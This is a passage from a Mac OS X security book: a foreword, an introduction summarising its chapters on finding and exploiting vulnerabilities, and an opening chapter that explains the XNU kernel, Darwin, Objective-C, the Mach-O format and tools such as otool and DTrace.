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xi

For better or worse, there are moments in our lives that we can visualize with 
startling clarity. Sometimes momentous and other times trivial, we’re able to 
completely recall these snippets of our past even if we can’t remember the day 
or context. In my life, there’s one moment I’d like to call trivial, but the truth is, 
it was likely more central in establishing my eventual technology career than 
I care to admit at social gatherings. 

I think it was the early 1980s, but that’s mostly irrelevant. My best friend’s parents 
recently purchased an Apple II (plus, I think), making my friend the fi rst person I 
knew with a computer in his house. One day we noticed a seam on the top of the 
plastic case; we slid the bulking green screen monitor to the side and removed 
the panel on the top. For the fi rst time, we peered into the inner guts of an actual 
working computer. This was defi nitely before the release of WarGames, likely 
before I’d ever heard of hacking, and long before “hacker” became synonymous 
with “criminal” in the mass media. We lifted that plastic lid and stared at the cop-
per and black components on the fi eld of green circuit boards before us. We were 
afraid to touch anything, but for the fi rst time, the walls between hardware and 
software shattered for our young minds, opening up a new world of possibilities. 
This was something we could touch, manipulate, and, yes, break.

My young computer career began with those early Apples (and Commodores). 
We spent countless hours exploring their inner workings; from BASIC to binary 
math, and more than our fair share of games (for the record, the Apple joystick 
was terrible). Early on I realized I enjoyed breaking things just as much, if not 
more than, creating them. By feeling around the seams of software and systems, 
learning where they bent, cracked, and failed, I could understand them in ways 
just not possible by coloring between the lines. 

The very fi rst Mac I could buy was an early Mac Mini I purchased mostly for 
research purposes. I quickly realized that Mac OS X was a hacker’s delight of an 
operating system. Beautiful and clean compared to my many years on Windows, 

Foreword
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xii Foreword

with a Unix terminal a click away. Here was a box I could run Microsoft Offi ce 
on that came with Apache by default and still held full man pages. As I delved 
into Applescript, plists, DMGs, and the other minutia of OS X, I was amazed 
by the capabilities of the operating system, and the breadth and depth of tools 
available. 

But as I continued to switch completely over to Apple, especially after the 
release of Intel Macs, my fi ngers started creeping around for those cracks at the 
edges again. I wasn’t really worried about viruses, but, as a security professional, 
I started wondering if this was by luck or design. I read the Apple documenta-
tion and realized fairly early that there wasn’t a lot of good information on how 
OS X worked from a security standpoint, other than some confi guration guides 
and marketing material. 

Mac security attitudes have changed a fair bit since I purchased that fi rst 
Mac Mini. As Macs increase in popularity, they face more scrutiny. Windows 
switchers come with questions and habits, more security researchers use Macs 
in their day-to-day work, the press is always looking to knock Apple down a 
notch, and the bad guys won’t fail to pounce on any profi table opportunity. But 
despite this growing attention, there are few resources for those who want to 
educate themselves and better understand the inner workings of the operating 
system on which they rely.

That’s why I was so excited when Dino fi rst mentioned he and Charlie were 
working on this book. Ripping into the inner guts of Mac OS X and fi nding 
those edges to tear apart are the only ways to advance the security of the plat-
form. Regular programming books and system overviews just don’t look at any 
operating system from the right perspective; we need to know how something 
breaks in order to make it stronger. And, as any child (or hacker) will tell you, 
breaking something is the most exhilarating way to learn. 

If you are a security professional, this book is one of the best ways to under-
stand the strengths and weaknesses of Mac OS X. If you are a programmer, this 
book will not only help you write more secure code, but it will also help you in 
your general coding practices. If you are just a Mac enthusiast, you’ll learn how 
hackers look at our operating system of choice and gain a better understanding 
of its inner workings. Hopefully Apple developers will use this to help harden 
the operating system; making the book obsolete with every version. Yes, maybe 
a few bad guys will use it to write a few exploits, but the benefi ts of having this 
knowledge far outweigh the risks.

For us hackers, even those of us of limited skills, this book provides us with a 
roadmap for exploring those edges, fi nding those cracks, and discovering new 
possibilities. For me, it’s the literary equivalent of sliding that beige plastic cover 
off my childhood friend’s fi rst Apple and gazing at the inner workings.

—Rich Mogull
Security Editor at TidBITS and Analyst at Securosis
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xiii

As Mac OS X continues to be adopted by more and more users, it is important 
to consider the security (or insecurity) of the devices running it. From a secu-
rity perspective, Apple has led a relatively charmed existence so far. Mac OS 
X computers have not had any signifi cant virus or worm outbreaks, making 
them a relatively safe computing platform. Because of this, they are perceived 
by most individuals to be signifi cantly more secure than competing desktop 
operating systems, such as Windows XP or Vista.

Overview of the Book and Technology

Is this perception of security justifi ed, or has Mac OS X simply benefi ted from its 
low profi le up to this point? This book offers you a chance to answer this question 
for yourself. It provides the tools and techniques necessary to analyze thoroughly 
the security of computers running the Mac OS X operating system. It details exactly 
what Apple has done right in the design and implementation of its code, as well as 
points out defi ciencies and weaknesses. It teaches how attackers look at Mac OS X 
technologies, probe for weaknesses, and succeed in compromising the system. This 
book is not intended as a blueprint for malicious attackers, but rather as an instru-
ment so the good guys can learn what the bad guys already know. Penetration 
testers and other security analysts can and should use this information to identify 
risks and secure the Macs in their environments. 

Keeping security fl aws secret does not help anybody. It is important to under-
stand these fl aws and point them out so future versions of Mac OS X will be 
more secure. It is also vital to understand the security strengths and weaknesses 
of the operating system if we are to defend properly against attack, both now 
and in the future. Information is power, and this book empowers its readers by 
providing the most up-to-date and cutting-edge Mac OS X security research.

Introduction
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xiv Introduction

How This Book Is Organized

This book is divided into four parts, roughly aligned with the steps an attacker 
would have to take to compromise a computer: Background, Vulnerabilities, 
Exploitation, and Post-Exploitation. The fi rst part, consisting of Chapters 1–3, 
contains introductory material concerning Mac OS X. It points out what makes 
this operating system different from Linux or Windows and demonstrates the 
tools that will be needed for the rest of the book. The next part, consisting 
of Chapters 4–6, demonstrates the tools and techniques necessary to identify 
security vulnerabilities in the operating system and applications running on 
it. Chapters 7–10 make up the next part of the book. These chapters illustrate 
how attackers can take the weaknesses found in the earlier chapters and turn 
them into functional exploits, giving them the ability to compromise vulnerable 
machines. Chapters 11 and 12 make up the last part of the book, which deals 
with what attackers may do after they have exploited a machine and techniques 
they can use to maintain continued access to the compromised machines. 

Chapter 1 begins the book with the basics of the way Mac OS X is designed. 
It discusses how it originated from BSD and the changes that have been made 
in it since that time. Chapter 1 gives a brief introduction to many of the tools 
that will be needed in the rest of the book. It highlights the differences between 
Mac OS X and other operating systems and takes care to demonstrate how 
to perform common tasks that differ among the operating systems. Finally, it 
outlines and analyzes some of the security improvements made in the release 
of Leopard, the current version of Mac OS X.

Chapter 2 covers some uncommon protocols and fi le formats used by Mac 
OS X. This includes a description of how Bonjour works, as well as an inside 
look at the Mac OS X implementation, mDNSResponder. It also dissects the 
QuickTime fi le format and the RTSP protocol utilized by QuickTime Player.

Chapter 3 examines what portions of the operating system process attacker-
supplied data, known as the attack surface. It begins by looking in some detail 
at what services are running by default on a typical Mac OS X computer and 
examines the diffi culties in attacking these default services. It moves on to 
consider the client-side attack surface, all the code that can be executed if an 
attacker can get a client program such as Safari to visit a server the attacker 
controls, such as a malicious website.

Chapter 4 dives into the world of debugging in a Mac OS X environment. 
It shows how to follow along to see what applications are doing internally. It 
covers in some detail the powerful DTrace mechanism that was introduced in 
Leopard. It also outlines the steps necessary to capture code-coverage informa-
tion using the Pai Mei reverse-engineering framework.

Chapter 5 demonstrates how to fi nd security weaknesses in Mac OS X soft-
ware. It talks about how you can look for bugs in the source code Apple makes 
available or use a black-box technique such as fuzzing. It includes detailed 
instructions for performing either of these methods. Finally, it shows some tricks 
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to take advantage of the way Apple develops its software, which can help fi nd 
bugs it doesn’t know about or give early warning of those it does.

Chapter 6 discusses reverse engineering in Mac OS X. Given that most of the 
code in Mac OS X is available in binary form only, this chapter discusses how 
this software works statically. It also highlights some differences that arise in 
reverse engineering code written in Objective-C, which is quite common in Mac 
OS X binaries but rarely seen otherwise.

Chapter 7 begins the exploitation part of the book. It introduces the simplest 
of buffer-overfl ow attacks, the stack overfl ow. It outlines how the stack is laid 
out for both PowerPC and x86 architectures and how, by overfl owing a stack 
buffer, an attacker can obtain control of the vulnerable process.

Chapter 8 addresses the heap overfl ow, the other common type of exploit. 
This entails describing the way the Mac OS X heap and memory allocations 
function. It shows techniques where overwriting heap metadata allows an 
attacker to gain complete control of the application. It fi nishes by showing how 
to arrange the heap to overwrite other important application data to compro-
mise the application.

Chapter 9 addresses exploit payloads. Now that you know how to get control 
of the process, what can you do? It demonstrates a number of different possible 
shellcodes and payloads for both PowerPC and x86 architectures, ranging from 
simple to advanced.

Chapter 10 covers real-world exploitation, demonstrating a large number of 
advanced exploitation topics, including many in-depth example exploits for 
Tiger and Leopard on both PowerPC and x86. If Chapters 7–9 were the theory 
of attack, then this chapter is the practical aspect of attack.

Chapter 11 covers how to inject code into running processes using Mac 
OS X–specifi c hooking techniques. It provides all the code necessary to write 
and test such payloads. It also includes some interesting code examples of 
what an attacker can do, including spying on iChat sessions and reading 
encrypted network traffi c.

Chapter 12 addresses the topic of rootkits, or code an attacker uses to hide 
their presence on a compromised system. It illustrates how to write basic kernel-
level drivers and moves on to examples that will hide fi les from unsuspecting 
users at the kernel level. It fi nishes with a discussion of Mac OS X–specifi c root-
kit techniques, including hidden in-kernel Mach RPC servers, network kernel 
extensions for remote access, and VT-x hardware virtual-machine hypervisor 
rootkits for advanced stealth.

Who Should Read This Book

This book is written for a wide variety of readers, ranging from Mac enthusiasts 
to hard-core security researchers. Those readers already knowledgeable about 
Mac OS X but wanting to learn more about the security of the system may want 
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xvi Introduction

to skip to Chapter 4. Conversely, security researchers may fi nd the fi rst few 
chapters the most useful, as those chapters reveal how to use the OS X–related 
skills they already possess. 

While the book may be easier to comprehend if you have some experience 
writing code or administering Mac OS X computers, no experience is necessary. 
It starts from the very basics and slowly works up to the more-advanced topics. 
The book is careful to illustrate the points it is making with many examples, 
and outlines exactly how to perform the steps required. The book is unique in 
that, although anybody with enthusiasm for the subject can pick it up and begin 
reading it, by the end of the book the reader will have a world-class knowledge 
of the security of the Mac OS X operating system.

Tools You Will Need

For the most part, all you need to follow along with this book is a computer with 
Mac OS X Leopard installed. Although many of the techniques and examples 
will work in earlier versions of Mac OS X, they are designed for Leopard. 
To perform the techniques illustrated in Chapter 6, a recent version of IDA Pro 
is required. This is a commercial tool that must be run in Windows and can 
be purchased at http://www.hex-rays.com. The remaining tools either come 
on supplemental disks, such as Xcode does, or are freely available online or at 
this book’s website.

What’s on the Website

This book includes a number of code samples. The small and moderately sized 
examples are included directly in this book. But to save you from having to 
type these in yourself, all the code samples are also available for download at 
www.wiley.com/go/machackershandbook. Additionally, some long code samples 
that are omitted from the book are available on the site, as are any other tools 
developed for the book.

Final Note

We invite you to dive right in and begin reading. We think there is something 
in this book for just about everyone who loves Mac OS X. I know we learned a 
lot in researching and writing this book. If you have comments, questions, hate 
mail, or anything else, please drop us a line and we’d be happy to discuss our 
favorite operating system with you.
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3

This chapter begins by addressing many of the basics of a Mac OS X system. 
This includes the general architecture and the tools necessary to deal with the 
architecture. It then addresses some of the security improvements that come 
with version 10.5 “Leopard”, the most recent version of Mac OS X. Many of these 
security topics will be discussed in great detail throughout this book.

Basics

Before we dive into the tools, techniques, and security of Mac OS X, we need to 
start by discussing how it is put together. To understand the details of Leopard, 
you need fi rst to understand how it is built, from the ground up. As depicted 
in Figure 1-1, Mac OS X is built as a series of layers, including the XNU kernel 
and the Darwin operating system at the bottom, and the Aqua interface and 
graphical applications on the top. The important components will be discussed 
in the following sections.

C H A P T E R 

1

Mac OS X Architecture
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Applications

GUI

Application Environments

Libraries

Kernel

Firmware

Hardware

Safari, Mail, iCal, etc.

Aqua

BSD, X11, Carbon, Cocoa, AWT, Swing

URL parsing, Networking, Core Audio, HTML rendering, etc.

BSD (signals, sockets, etc.) Mach (virtual memory, IPC, etc.)

EFI

Apple hardware

Figure 1-1:  Basic architecture of a Mac OS X system

XNU
The heart of Mac OS X is the XNU kernel. XNU is basically composed of a 
Mach core (covered in the next section) with supplementary features provided 
by Berkeley Software Distribution (BSD). Additionally, XNU is responsible for 
providing an environment for kernel drivers called the I/O Kit. We’ll talk about 
each of these in more detail in upcoming sections. XNU is a Darwin package, 
so all of the source code is freely available. Therefore, it is completely possible 
to install the same kernel used by Mac OS X on any machine with supported 
hardware; however, as Figure 1-1 illustrates, there is much more to the user 
experience than just the kernel. 

From a security researcher’s perspective, Mac OS X feels just like a FreeBSD 
box with a pretty windowing system and a large number of custom applications. 
For the most part, applications written for BSD will compile and run without 
modifi cation on Mac OS X. All the tools you are accustomed to using in BSD are 
available in Mac OS X. Nevertheless, the fact that the XNU kernel contains all 
the Mach code means that some day, when you have to dig deeper, you’ll fi nd 
many differences that may cause you problems and some you may be able to 
leverage for your own purposes. We’ll discuss some of these important differ-
ences briefl y; for more detailed coverage of these topics, see Mac OS X Internals: 
A Systems Approach (Addison-Wesley, 2006).

Mach
Mach, developed at Carnegie Mellon University by Rick Rashid and Avie Tevanian, 
originated as a UNIX-compatible operating system back in 1984. One of its pri-
mary design goals was to be a microkernel; that is, to minimize the amount of 
code running in the kernel and allow many typical kernel functions, such as fi le 
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 Chapter 1 ■ Mac OS X Architecture 5

system, networking, and I/O, to run as user-level Mach tasks. In earlier Mach-
based UNIX systems, the UNIX layer ran as a server in a separate task. However, 
in Mac OS X, Mach and the BSD code run in the same address space. 

In XNU, Mach is responsible for many of the low-level operations you expect 
from a kernel, such as processor scheduling and multitasking and virtual-
memory management. 

BSD
The kernel also involves a large chunk of code derived from the FreeBSD code 
base. As mentioned earlier, this code runs as part of the kernel along with Mach 
and uses the same address space. The FreeBSD code within XNU may differ 
signifi cantly from the original FreeBSD code, as changes had to be made for it 
to coexist with Mach. FreeBSD provides many of the remaining operations the 
kernel needs, including

 Processes ■

 Signals ■

 Basic security, such as users and groups ■

 System call infrastructure ■

 TCP/IP stack and sockets ■

 Firewall and packet fi ltering ■

To get an idea of just how complicated the interaction between these two sets 
of code can be, consider the idea of the fundamental executing unit. In BSD the 
fundamental unit is the process. In Mach it is a Mach thread. The disparity is 
settled by each BSD-style process being associated with a Mach task consisting 
of exactly one Mach thread. When the BSD fork() system call is made, the BSD 
code in the kernel uses Mach calls to create a task and thread structure. Also, it 
is important to note that both the Mach and BSD layers have different security 
models. The Mach security model is based on port rights, and the BSD model is 
based on process ownership. Disparities between these two models have resulted 
in a number of local privilege-escalation vulnerabilities. Additionally, besides 
typical system cells, there are Mach traps that allow user-space programs to 
communicate with the kernel.

I/O Kit
I/O Kit is the open-source, object-oriented, device-driver framework in the XNU 
kernel and is responsible for the addition and management of dynamically loaded 
device drivers. These drivers allow for modular code to be added to the kernel 
dynamically for use with different hardware, for example. The available drivers 
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6 Part I ■ Mac OS X Basics

are usually stored in the /System/Library/Extensions/ directory or a subdirectory. 
The command kextstat will list all the currently loaded drivers, 

$ kextstat

Index Refs Address    Size       Wired      Name (Version) <Linked 

Against>

    1    1 0x0        0x0        0x0        com.apple.kernel (9.3.0)

    2   55 0x0        0x0        0x0        com.apple.kpi.bsd (9.3.0)

    3    3 0x0        0x0        0x0        com.apple.kpi.dsep (9.3.0)

    4   74 0x0        0x0        0x0        com.apple.kpi.iokit (9.3.0)

    5   79 0x0        0x0        0x0        com.apple.kpi.libkern 

(9.3.0)

    6   72 0x0        0x0        0x0        com.apple.kpi.mach (9.3.0)

    7   39 0x0        0x0        0x0        com.apple.kpi.unsupported 

(9.3.0)

    8    1 0x0        0x0        0x0        

com.apple.iokit.IONVRAMFamily (9.3.0)

    9    1 0x0        0x0        0x0        com.apple.driver.AppleNMI 

(9.3.0)

   10    1 0x0        0x0        0x0        

com.apple.iokit.IOSystemManagementFamily (9.3.0)

   11    1 0x0        0x0        0x0        

com.apple.iokit.ApplePlatformFamily (9.3.0)

   12   31 0x0        0x0        0x0        com.apple.kernel.6.0 (7.9.9)

   13    1 0x0        0x0        0x0        com.apple.kernel.bsd (7.9.9)

   14    1 0x0        0x0        0x0        com.apple.kernel.iokit 

(7.9.9)

   15    1 0x0        0x0        0x0        com.apple.kernel.libkern 

(7.9.9)

   16    1 0x0        0x0        0x0        com.apple.kernel.mach 

(7.9.9)

   17   17 0x2e2bc000 0x10000    0xf000     com.apple.iokit.IOPCIFamily 

(2.4.1) <7 6 5 4>

   18   10 0x2e2d2000 0x4000     0x3000     com.apple.iokit.IOACPIFamily 

(1.2.0) <12>

   19    3 0x2e321000 0x3d000    0x3c000    

com.apple.driver.AppleACPIPlatform (1.2.1) <18 17 12 7 5 4>

…

Many of the entries in this list say they are loaded at address zero. This just 
means they are part of the kernel proper and aren’t really device drivers—i.e., 
they cannot be unloaded. The fi rst actual driver is number 17. 

Besides kextstat, there are other functions you’ll need to know for loading 
and unloading these drivers. Suppose you wanted to fi nd and load the driver 
associated with the MS-DOS fi le system. First you can use the kextfi nd tool to 
fi nd the correct driver. 

$ kextfind -bundle-id -substring ‘msdos’

/System/Library/Extensions/msdosfs.kext
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 Chapter 1 ■ Mac OS X Architecture 7

Now that you know the name of the kext bundle to load, you can load it into 
the running kernel.

$ sudo kextload /System/Library/Extensions/msdosfs.kext

kextload: /System/Library/Extensions/msdosfs.kext loaded successfully

It seemed to load properly. You can verify this and see where it was loaded.

$ kextstat | grep msdos

  126    0 0x346d5000 0xc000     0xb000     

com.apple.filesystems.msdosfs (1.5.2) <7 6 5 2>

It is the 126th driver currently loaded. There are zero references to it (not sur-
prising, since it wasn’t loaded before we loaded it). It has been loaded at address 
0x346d5000 and has size 0xc000. This driver occupies 0xb000 wired bytes of 
kernel memory. Next it lists the driver’s name and version. It also lists the index 
of other kernel extensions that this driver refers to—in this case, looking at the 
full listing of kextstat, we see it refers to the “unsupported” mach, libkern, and 
bsd drivers. Finally, we can unload the driver.

$ sudo kextunload com.apple.filesystems.msdosfs 

kextunload: unload kext /System/Library/Extensions/msdosfs.kext 

succeeded

Darwin and Friends
A kernel without applications isn’t very useful. That is where Darwin comes 
in. Darwin is the non-Aqua, open-source core of Mac OS X. Basically it is all 
the parts of Mac OS X for which the source code is available. The code is made 
available in the form of a package that is easy to install. There are hundreds of 
available Darwin packages, such as X11, GCC, and other GNU tools. Darwin 
provides many of the applications you may already use in BSD or Linux for 
Mac OS X. Apple has spent signifi cant time integrating these packages into 
their operating system so that everything behaves nicely and has a consistent 
look and feel when possible. 

On the other hand, many familiar pieces of Mac OS X are not open source. 
The main missing piece to someone running just the Darwin code will be Aqua, 
the Mac OS X windowing and graphical-interface environment. Additionally, 
most of the common high-level applications, such as Safari, Mail, QuickTime, 
iChat, etc., are not open source (although some of their components are open 
source). Interestingly, these closed-source applications often rely on open-
source software, for example, Safari relies on the WebKit project for HTML 
and JavaScript rendering. For perhaps this reason, you also typically have 
many more symbols in these applications when debugging than you would 
in a Windows environment.
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8 Part I ■ Mac OS X Basics

Tools of the Trade

Many of the standard Linux/BSD tools work on Mac OS X, but not all of them. If 
you haven’t already, it is important to install the Xcode package, which contains 
the system compiler (gcc) as well as many other tools, like the GNU debugger 
gdb. One of the most powerful tools that comes on Mac OS X is the object fi le 
displaying tool (otool). This tool fi lls the role of ldd, nm, objdump, and similar 
tools from Linux. For example, using otool you can use the –L option to get a 
list of the dynamically linked libraries needed by a binary. 

$ otool -L /bin/ls

/bin/ls:

/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current 

version 5.4.0)

/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 

1.0.0)

/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 

111.0.0)

To get a disassembly listing, you can use the –tv option.

$ otool -tv /bin/ps

/bin/ps:

(__TEXT,__text) section

00001bd0        pushl   $0x00

00001bd2        movl    %esp,%ebp

00001bd4        andl    $0xf0,%esp

00001bd7        subl    $0x10,%esp

…

You’ll see many references to other uses for otool throughout this book.

Ktrace/DTrace

You must be able to trace execution fl ow for processes. Before Leopard, this 
was the job of the ktrace command-line application. ktrace allows kernel trace 
logging for the specifi ed process or command. For example, tracing the system 
calls of the ls command can be accomplished with

$ ktrace -tc ls

This will create a file called ktrace.out. To read this file, run the kdump 
command.

$ kdump

     918 ktrace     RET     ktrace 0
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 Chapter 1 ■ Mac OS X Architecture 9

     918 ktrace     CALL   execve(0xbffff73c,0xbffffd14,0xbffffd1c) 

     918 ls             RET     execve 0 

     918 ls             CALL   issetugid 

     918 ls             RET     issetugid 0 

     918 ls             CALL   

__sysctl(0xbffff7cc,0x2,0xbffff7d4,0xbffff7c8,0x8fe45a90,0xa) 

     918 ls             RET     __sysctl 0 

     918 ls             CALL   __sysctl(0xbffff7d4,0x2,0x8fe599bc,0xbffff878,0,0) 

     918 ls             RET     __sysctl 0 

     918 ls             CALL   

__sysctl(0xbffff7cc,0x2,0xbffff7d4,0xbffff7c8,0x8fe45abc,0xd) 

     918 ls             RET     __sysctl 0 

     918 ls             CALL   __sysctl(0xbffff7d4,0x2,0x8fe599b8,0xbffff878,0,0) 

     918 ls             RET     __sysctl 0

…

For more information, see the man page for ktrace. 

In Leopard, ktrace is replaced by DTrace. DTrace is a kernel-level tracing 
mechanism. Throughout the kernel (and in some frameworks and applications) 
are special DTrace probes that can be activated. Instead of being an application 
with some command-line arguments, DTrace has an entire language, called 
D, to control its actions. DTrace is covered in detail in Chapter 4, “Tracing and 
Debugging,” but we present a quick example here as an appetizer. 

$ sudo dtrace -n ‘syscall:::entry {@[execname] = count()}’ 

dtrace: description ‘syscall:::entry ‘ matched 427 probes

^C

  fseventsd                                                         3

  socketfilterfw                                                    3

  mysqld                                                            6

  httpd                                                             8

  pvsnatd                                                           8

  configd                                                          11

  DirectoryServic                                                  14

  Terminal                                                         17

  ntpd                                                             21

  WindowServer                                                     27

  mds                                                              33

  dtrace                                                           38

  llipd                                                            60

  SystemUIServer                                                   69

  launchd                                                         182

  nmblookup                                                       288

  smbclient                                                       386

  Finder                                                         5232

  Mail                                                           5352

95363c01.indd   995363c01.indd   9 1/25/09   4:39:27 PM1/25/09   4:39:27 PM



10 Part I ■ Mac OS X Basics

Here, this one line of D within the DTrace command keeps track of the num-
ber of system calls made by processes until the user hits Ctrl+C. The entire 
functionality of ktrace can be replicated with DTrace in just a few lines of D. 
Being able to peer inside processes can be very useful when bug hunting or 
reverse-engineering, but there will be more on those topics later in the book.

Objective-C

Objective-C is the programming language and runtime for the Cocoa API used 
extensively by most applications within Mac OS X. It is a superset of the C 
programming language, meaning that any C program will compile with an 
Objective-C compiler. The use of Objective-C has implications when applica-
tions are being reverse-engineered and exploited. More time will be spent on 
these topics in the corresponding chapters. 

One of the most distinctive features of Objective-C is the way object-oriented 
programming is handled. Unlike in standard C++, in Objective-C, class meth-
ods are not called directly. Rather, they are sent a message. This architecture 
allows for dynamic binding; i.e., the selection of method implementation occurs at 
runtime, not at compile time. When a message is sent, a runtime function looks 
at the receiver and the method name in the message. It identifi es the receiver’s 
implementation of the method by the name and executes that method. 

The following small example shows the syntactic differences between C++ 
and Objective-C from a source-code perspective.

 #include <objc/Object.h>

 @interface Integer : Object

 {

    int integer;

 }

 

 - (int) integer;

 - (id) integer: (int) _integer;

 @end

Here an interface is defi ned for the class Integer. An interface serves the role 
of a declaration. The hyphen character indicates the class’s methods. 

 #import “Integer.h”

 @implementation Integer

 - (int) integer

 {

    return integer;

 }

 

 - (id) integer: (int) _integer
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 {

    integer = _integer;

 }

 @end

Objective-C source fi les typically use the .m fi le extension. Within Integer.m 
are the implementations of the Integer methods. Also notice how arguments to 
functions are represented after a colon. One other small difference with C++ is 
that Objective-C provides the import preprocessor, which acts like the include 
directive except it includes the fi le only once.

 #import “Integer.h”

 @interface Integer (Display)

 - (id) showint;

 @end

Another example follows.

#include <stdio.h>

#import “Display.h”

 

 @implementation Integer (Display) 

 - (id) showint

 {

    printf(“%d\n”, [self integer]);

    return self;

 }

 @end

In the second fi le, we see the fi rst call of an object’s method. [self integer] 
is an example of the way methods are called in Objective-C. This is roughly 
equivalent to self.integer() in C++. Here are two more, slightly more compli-
cated fi les:

 #import “Integer.h”

 @interface Integer (Add_Mult)

 - (id) add_mult: (Integer *) addend with_multiplier: (int) mult;

 @end

and

#import “Add_Mult.h”

 

 @implementation Integer (Add_Mult) 

 - (id) add_mult: (Integer *) addend with_multiplier:(int)mult

 {

    return [self set_integer: [self get_integer] + [addend get_integer] 

* mult ];

}

@end
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12 Part I ■ Mac OS X Basics

These two fi les show how multiple parameters are passed to a function. A 
label, in this case with_multiplier, can be added to the additional parameters. 
The method is referred to as add_mult:with_multiplier:. The following code 
shows how to call a function requiring multiple parameters.

#include <stdio.h>

#import “Integer.h”

#import “Add_Mult.h” 

#import “Display.h”

 

 int main(int argc, char *argv[])

 {

    Integer *num1 = [Integer new], *num2 = [Integer new];

    [num1 integer:atoi(argv[1])];

    [num2 integer:atoi(argv[2])];

    [num1 add_mult:num2 with_multiplier: 2];

    [num1 showint];

 }

Building this is as easy as invoking gcc with an additional argument.

$ gcc -g -x objective-c main.m Integer.m Add_Mult.m Display.m -lobjc

Running the program shows that it can indeed add a number multiplied 
by two.

$ ./a.out 1 4

9

As a sample of things to come, consider the disassembled version of the 
add_mult:with_multiplier: function.

0x1f02  push   ebp

0x1f03  mov    ebp,esp

0x1f05  push   edi

0x1f06  push   esi

0x1f07  push   ebx

0x1f08  sub    esp,0x1c

0x1f0b  call   0x1f10  

0x1f10  pop    ebx

0x1f11  mov    edi,DWORD PTR [ebp+0x8]

0x1f14  mov    edx,DWORD PTR [ebp+0x8]

0x1f17  lea    eax,[ebx+0x1100]

0x1f1d  mov    eax,DWORD PTR [eax]

0x1f1f  mov    DWORD PTR [esp+0x4],eax

0x1f23  mov    DWORD PTR [esp],edx

0x1f26  call   0x400a <dyld_stub_objc_msgSend>

0x1f2b  mov    esi,eax
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0x1f2d  mov    edx,DWORD PTR [ebp+0x10]

0x1f30  lea    eax,[ebx+0x1100]

0x1f36  mov    eax,DWORD PTR [eax]

0x1f38  mov    DWORD PTR [esp+0x4],eax

0x1f3c  mov    DWORD PTR [esp],edx

0x1f3f  call   0x400a <dyld_stub_objc_msgSend>

0x1f44  imul   eax,DWORD PTR [ebp+0x14]

0x1f48  lea    edx,[esi+eax]

0x1f4b  lea    eax,[ebx+0x10f8]

0x1f51  mov    eax,DWORD PTR [eax]

0x1f53  mov    DWORD PTR [esp+0x8],edx

0x1f57  mov    DWORD PTR [esp+0x4],eax

0x1f5b  mov    DWORD PTR [esp],edi

0x1f5e  call   0x400a <dyld_stub_objc_msgSend>

0x1f63  add    esp,0x1c

0x1f66  pop    ebx

0x1f67  pop    esi

0x1f68  pop    edi

0x1f69  leave  

0x1f6a  ret   

Looking at this, it is tough to imagine what this function does. While there 
is an instruction for the multiplication (imul), there is no addition occurring. 
You’ll also see that, typical of an Objective-C binary, almost every function 
call is to objc_msgSend, which can make it diffi cult to know what is going on. 
There is also the strange call instruction at address 0×1f0b which calls the next 
instruction. These problems (along with some solutions) will be addressed in 
more detail in Chapter 6, “Reverse Engineering.”

Universal Binaries and the Mach-O File Format

Applications and libraries in Mac OS X use the Mach-O (Mach object) fi le for-
mat and may come ready for different architectures, which are called universal 
binaries.

Universal Binaries
For legacy support, many binaries in Leopard are universal binaries. A universal 
binary can support multiple architectures in the same fi le. For Mac OS X, this 
is usually PowerPC and x86. 

$ fi le /bin/ls

/bin/ls: Mach-O universal binary with 2 architectures

/bin/ls (for architecture i386):      Mach-O executable i386

/bin/ls (for architecture ppc7400):   Mach-O executable ppc
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14 Part I ■ Mac OS X Basics

Each universal binary has the code necessary to run on any of the architec-
tures it supports. The same exact ls binary from the code example can run on 
a Mac with an x86 processor or a PowerPC processor. The obvious drawback is 
fi le size, of course. The gcc compiler in Mac OS X emits Mach-O-format binaries 
by default. To build a universal binary, one additional fl ag must be passed to 
specify the target architectures desired. In the following example, a universal 
binary for the x86 and PowerPC architectures is created.

$ gcc -arch ppc -arch i386 -o test-universal test.c

$ file test-universal 

test-universal: Mach-O universal binary with 2 architectures

test-universal (for architecture ppc7400):   Mach-O executable ppc

test-universal (for architecture i386):      Mach-O executable i386

To see the fi le-size difference, compare this binary to the single-architecture 
version:

-rwxr-xr-x  1 user1    user1    12564 May  1 12:55 test

-rwxr-xr-x  1 user1    user1    28948 May  1 12:54 test-universal

Mach-O File Format
This fi le format supports both statically and dynamically linked executables. 
The basic structure contains three regions: the header, the load commands, and 
the actual data. 

The header contains basic information about the fi le, such as magic bytes to 
identify it as a Mach-O fi le and information about the target architecture. The 
following is the structure from the header, compliments of the /usr/include/
mach-o/loader.h fi le.

struct mach_header{

   

   uint32_t magic;

   cpu_type_t cputype;

   cpu_subtype_t cpusubtype;

   uint32_t filetype;

   uint32_t ncmds;

   uint32_t sizeofcmds;

   uint32_t flags;

};

The magic number identifi es the fi le as Mach-O. The cputype will probably 
be either PowerPC or I386. The cpusubtype can specify specifi c models of CPU 
on which to run. The fi letype indicates the usage and alignment for the fi le. 
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The ncmds and sizeofcmds have to do with the load commands, which will be 
discussed shortly. 

Next is the load-commands region. This specifi es the layout of the fi le in 
memory. It contains the location of the symbol table, the main thread context 
at the beginning of execution, and which shared libraries are required. 

The heart of the fi le is the fi nal region, the data, which consists of a number 
of segments as laid out in the load-commands region. Each segment can contain 
a number of data sections. Each of these sections contains code or data of one 
particular type; see Figure 1-2.

Header

Data

Segment 1

Load Commands

Load Commands for Segment 1
Load Commands for Segment 2

Section 1
Section 2

Segment 2

Section 1
Section 2

Figure 1-2:  A Mach-O file-format example for a file with two segments, each having 
two sections

Example
All of this information about universal binaries and the Mach-O format is best 
seen by way of an example. Looking again at the /bin/ls binary, you can see 
the universal headers using otool.

$ otool -f

Fat headers
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fat_magic 0xcafebabe

nfat_arch 2

architecture 0

    cputype 7

    cpusubtype 3

    capabilities 0x0

    offset 4096

    size 36464

    align 2^12 (4096)

architecture 1

    cputype 18

    cpusubtype 10

    capabilities 0x0

    offset 40960

    size 32736

    align 2^12 (4096)

Looking at /usr/include/mach/machine.h, you can see that the fi rst architec-
ture has cputype 7, which corresponds to CPU_TYPE_X86 and has a cpusubtype 
of CPU_SUBTYPE_386. Not surprisingly, the second architecture has values 
CPU_TYPE_POWERPC and CPU_SUBTYPE_POWERPC_7400, respectively.

Next we can obtain the Mach header.

$ otool -h /bin/ls 

/bin/ls:

Mach header

     magic cputype cpusubtype  caps filetype ncmds sizeofcmds      flags

0xfeedface       7          3  0x00        2    14       1304 0x00000085

In this case, we again see the cputype and cpusubtype. The fi letype is MH_
